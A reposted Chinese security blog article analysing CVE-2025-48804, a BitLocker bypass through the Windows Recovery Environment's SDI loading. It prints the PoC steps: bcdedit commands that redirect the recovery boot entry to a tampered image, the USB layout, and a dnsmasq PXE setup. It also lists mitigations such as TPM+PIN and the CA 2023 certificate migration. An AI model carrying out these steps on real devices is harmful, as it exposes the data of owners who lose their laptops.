文章总结: CVE-2025-48804漏洞利用Windows恢复环境SDI文件加载机制缺陷,通过篡改WinRE镜像绕过TPM保护,使BitLocker加密数据在5分钟内被窃取。攻击工具BitUnlocker已开源,可通过U盘或PXE启动实现密钥提取。缓解措施包括配置TPM+PIN或迁移至WindowsUEFICA2023签名证书。 综合评分: 87 文章分类: 漏洞分析,恶意软件,应急响应,安全工具,终端安全
CVE-2025-48804|BitUnlocker 把 BitLocker 的脸打了
原创
zhy zhy
船山信安
2026年5月17日 12:20 广东
在小说阅读器读本章
去阅读
一台全量打补丁的 Windows 11 笔记本,BitLocker 开着,TPM 芯片在工作,你觉得丢了顶多是硬件损失。不到五分钟,里面所有数据就摆在攻击者面前了。
这就是 CVE-2025-48804 的现实危害。安全研究员 garatc 把整套攻击工具 BitUnlocker 放上了 GitHub,PoC 全流程开源,通过一个 U 盘加几段脚本,就可以进行操作。
漏洞在哪
问题主要出现在 Windows 恢复环境的 SDI 文件加载机制上。通过验证发现它启动管理器只验证了第一个 WIM 镜像的完整性,第二个则是直接加载不问。这时候如果采用把篡改过的 WinRE 镜像塞进 SDI 的 blob 表,系统挂载 BitLocker 卷之后,拉起来的是一个直接弹 cmd.exe 的修改版镜像。这就导致了TPM 自己把密钥交出来了,整个操作过程没有暴力破解,没有密钥泄露。
在这个过程也说明它的Secure Boot 验证的是签名证书而不是版本号。那些有漏洞的旧版 bootmgfw.efi,签名依然是合法有效的,这就会导致其PCA 2011 证书依然会被信任,依然是有效通过,使其TPM 测量 PCR 7 加 PCR 11 一切正常,然后VMK 静默释放。补丁打了,攻击面还在,这个新旧版本的时间差是整套攻击能成立的关键。
完整 PoC 流程
攻击者先进入目标机的 WinRE 命令提示符,插入 USB 盘,导出并修改 BCD 文件,把恢复启动项的 SDI 路径重定向到恶意镜像。
E:
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
rem 找到描述为 "Windows Recovery" 的条目,记录其 GUID
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
把修改后的 BCD 放入 EFI\Microsoft\Boot\,把 boot_patched.sdi 放入 sdi\,U 盘格式化为 FAT32,结构如下。
USB根目录/
├── EFI/Boot/bootx64.efi # PCA 2011签名的旧版启动管理器
└── EFI/Microsoft/Boot/BCD # 修改后的BCD
└── sdi/boot_patched.sdi # 注入恶意WinRE的SDI镜像
没有网络环境的场合用 USB 启动,有网线的场合可以走 PXE,用 dnsmasq 搭一台 TFTP 服务器,效果一样。
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--port=0
SDI 文件约 300 MB,PXE 传输需要数分钟。传输完成之后,cmd 弹出,OS 卷已挂载,如果盘符没有自动分配,用 diskpart 手动 assign 一个就行。
谁不受影响
不受影响的机器是配了 TPM 加 PIN 等,它是因为当预启动阶段没有 PIN时,就没有 VMK,直接让整套攻击在这个步骤中卡死。
还有就是已经完成 KB5025885 迁移、换用 Windows UEFI CA 2023 签名的设备同样不受影响。
说起来,2026 年初之后全新安装的 Windows 11 默认就带 CA 2023 签名的 bootmgfw.efi,可以用 sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi 确认自己是哪个证书链。
参考来源 https://github.com/garatc/BitUnlocker
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:船山信安 zhy zhy《CVE-2025-48804|BitUnlocker 把 BitLocker 的脸打了》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论